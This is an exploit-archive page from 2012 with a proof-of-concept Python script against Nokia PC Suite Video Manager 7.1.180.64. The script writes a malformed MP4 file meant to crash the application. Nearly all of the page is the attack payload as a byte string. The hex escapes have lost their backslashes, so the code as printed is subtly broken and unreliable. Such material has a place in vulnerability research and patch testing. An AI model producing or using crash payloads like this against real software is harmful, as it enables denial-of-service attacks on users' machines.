[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Nokia PC Suite Video Manager 7.1.180.64 (.mp4) Denial of Service
# Published : 2012-04-27
# Author :
# Previous Title : PyPAM -- Python bindings for PAM - Double Free Corruption
# Next Title : Passport PC To Host Malformed .zws file Memory Corruption Vulnerability


###########################################################################################################
Application : Nokia PC Suite Video Manager DoS 
Versions : <= 7.1.180.64 
Date : Friday, April 27,2012
Auther : Senator of Pirates
E-Mail : SenatorofPirates.info@gmail.com
FaceBook : /SenatorofPiratesInfo
Greetz : i greet to my best friends and every moroccan
###########################################################################################################

PoC :
-----
Data = ("x00x00x00x1cx66x74x79x70x6dx70x34x32x00x00x00x00x69x73x6fx6dx61x76x63x31x6dx70x34x32x00x01x19x28"
"x6dx6fx6fx76x00x00x00x6cx6dx76x68x64x00x00x00x00xc7x21xfcx5bxc7x21xfcx5bx00x00x02x58x00x02x22xa8"
"x00x01x00x00x01x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x40x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x03x00x00x00x15x69x6fx64x73x00x00x00x00x10x07x00x4f"
"xffxffx29x15xffx00x00xa5xe5x74x72x61x6bx00x00x00x5cx74x6bx68x64x00x00x00x01xc7x21xfcx5bxc7x21xfc"
"x5bx00x00x00x01x00x00x00x00x00x02x22x9cx00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x00x01x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x40x00x00"
"x00xffxffxffx00x00x00x00x00x00x00xa5x81x6dx64x69x61x00x00x00x20x6dx64x68x64x00x00x00x00xc7x21xfc"
"x5bxc7x21xfcx5bx00x00xacx44x00x9cxf0x00x55xc4x00x00x00x00x00x42x68x64x6cx72x00x00x00x00x00x00x00"
"x00x73x6fx75x6ex00x00x00x00x00x00x00x00x00x00x00x00x28x43x29x20x32x30x30x37x20x47x6fx6fx67x6cx65"
"x20x49x6ex63x2ex20x76x30x38x2ex31x33x2ex32x30x30x37x2ex00x00x00xa5x17x6dx69x6ex66x00x00x00x10x73"
"x6dx68x64x00x00x00x00x00x00x00x00x00x00x00x24x64x69x6ex66x00x00x00x1cx64x72x65x66x00x00x00x00x00"
"x00x00x01x00x00x00x0cx75x72x6cx20x00x00x00x01x00x00xa4xdbx73x74x62x6cx00x00x00x5bx73x74x73x64x00"
"x00x00x00xffx00x00x00x00x00x00x4bx6dx70x34x61x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x00x00"
"x02x00x10x00x00x00x00xacx44x00x00x00x00x00x27x65x73x64x73x00x00x00x00x03x19x00x00x00x04x11x40x15"
"x00x01xe6x00x02x2dx38x00x01xcdx28x05x02x12x10x06x01x02x00x00x00x18x73x74x74x73x00x00x00x00x00x00"
"x00x01x00x00x27x3cx00x00x04x00x00x00x00x28x73x74x73x63x00x00x00x00x00x00x00x02x00x00x00x01x00");


avi = open('poc.mp4', 'wb+')
avi.write(Data)
    
avi.close()